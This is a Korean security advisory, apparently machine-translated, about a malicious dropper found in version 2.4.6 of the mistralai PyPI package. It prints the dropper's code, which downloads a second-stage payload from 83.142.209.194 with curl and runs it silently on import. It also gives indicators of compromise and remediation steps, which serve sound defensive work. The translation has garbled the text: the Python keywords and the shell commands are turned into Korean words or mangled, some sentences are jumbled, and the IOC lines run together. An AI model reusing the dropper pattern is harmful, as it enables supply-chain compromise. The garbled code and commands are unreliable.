mistralai 2.4.6 PyPI 패키지의 악성 드로퍼
'mistralai' PyPI 패키지 버전 '2.4.6'에는 Linux에서 가져올 때 실행되는 악성 드로퍼가 포함되어 있습니다. 이 저장소에는 'v2.4.6' 태그, 커밋 또는 릴리스 워크플로 실행이 없습니다. 업로드 전의 합법적인 최신 버전은 '2.4.5'였으며 업로드는 이 저장소의 일반 릴리스 파이프라인(PyPI Trusted Publishing 사용)을 우회했습니다.
'mistralai' PyPI 프로젝트는 현재 격리되었습니다.
mistralai==2.4.6.버전 '2.4.5' 및 이전 버전은 영향을 받지 않는 것으로 알려져 있습니다.
_run_Background_task라는 함수가 src/mistralai/client/__init__.py에 추가되었고 모듈 로드 시 호출되었습니다. #523의 공개 보고서에서 재현:
``파이썬 하위 프로세스를 _sub로 가져오기 os를 _os로 가져오기
def _run_Background_task(): _sys.platform.startswith("linux") 또는 _os.environ.get("MISTRAL_INIT")이 아닌 경우: 반환 _os.environ["MISTRAL_INIT"] = "1" _url = "https://83.142.209.194/transformers.pyz" _dest = "/tmp/transformers.pyz" 시도해 보세요: 그렇지 않은 경우 _os.path.exists(_dest): _sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15) _os.path.exists(_dest)인 경우: _sub.Popen( [_sys.executable, _dest], stdout=_sub.DEVNULL, stderr=_sub.DEVNULL, start_new_session=True, env=_os.environ.copy() ) 제외: 통과
_run_Background_task()
Linux에서만 해당 기능은 다음과 같습니다.
1. 환경에 이미 `MISTRAL_INIT`가 설정되어 있는 경우 조기에 반환합니다.
2. 생성된 하위 항목이 `mistralai`를 가져올 경우 드로퍼를 다시 트리거하지 않도록 `MISTRAL_INIT=1`을 설정합니다.
3. `curl -k -L -s`를 사용하여 `https://83.142.209.194/transformers.pyz`를 `/tmp/transformers.pyz`에 다운로드합니다(TLS 확인 비활성화, 15초 시간 초과). 파일이 이미 존재하는 경우 다운로드를 건너뜁니다.
4. `Popen(..., start_new_session=True)`을 통해 분리된 프로세스로 현재 Python 인터프리터(`sys.executable`)와 함께 `transformers.pyz`를 생성합니다. stdout 및 stderr는 삭제되고 모든 예외는 자동으로 무시됩니다.
Linux가 아닌 플랫폼에서는 함수가 즉시 반환되고 아무 작업도 수행하지 않습니다.
트리거는 패키지 설치가 아닌 `import mistralai`입니다. 휠의 'pip install'은 패키지 코드를 실행하지 않습니다. sdist의 경우 PEP 517 빌드 후크를 실행하지만 `__init__.py`가 아닌 `setup.py` / `pyproject.toml`에 있습니다. 따라서 `pip install`, `pip download` 및 `pip Wheel`은 이 드로퍼를 호출하지 않습니다.
'transformers.pyz'의 내용은 패키지에 없으며 이 권고에서 분석되지 않았습니다. 따라서 호스트의 2단계 페이로드 동작을 알 수 없습니다.
## 추천
`mistralai==2.4.6`을 가져온 모든 Linux 환경은 포렌식 검토가 진행 중인 잠재적으로 손상된 것으로 처리되어야 합니다. 가져오기 프로세스에서 연결할 수 있는 모든 자격 증명을 순환하고 대략 2026-05-12 00:05 UTC 이후의 활동에 대한 호스트 및 클라우드 감사 로그를 검토합니다(#523에 보고된 타이밍 기준).
## 영향을 받았는지 확인하세요.
설치된 버전:
``배쉬
핍 쇼 미스트랄라이 | grep -i ^버전
종속성 파일 및 잠금 파일:
``배쉬
grep -n -E 'mistralai\b.2.4.6'
요구사항.txt pyproject.toml uv.lock poem.lock Pipfile Pipfile.lock 2>/dev/null
디스크에 삭제된 파일:
``배쉬
ls -la /tmp/transformers.pyz
mistralai==2.4.6을 가져온 호스트에 /tmp/transformers.pyz가 있으면 다운로드 단계가 성공적으로 실행되었음을 나타냅니다. 호스트의 프로세스 환경 기록에 MISTRAL_INIT가 없는 것과 결합되어 자체적으로 2단계 실행을 확인하지 않습니다. 반대로 파일이 정리된 경우에는 해당 파일이 없어도 실행이 배제되지 않습니다.
git+https://github.com/mistralai/client-python.git@v2.4.5.아래의 모든 IOC는 #523의 공개 보고서에서 가져온 것입니다.
/tmp/transformers.pyz/tmp/transformers.pyz를 실행하는 Python 인터프리터(sys.executable), stdout/stderr을 /dev/null로 사용MISTRAL_INIT=1curl에서 83[.]142[.]209[.]194로 아웃바운드 HTTPS(TLS 확인 없음)src/mistralai/client/__init__.py의 _run_Background_task6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 96.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 96.00 |
VPI 공식 vpi-v1 기준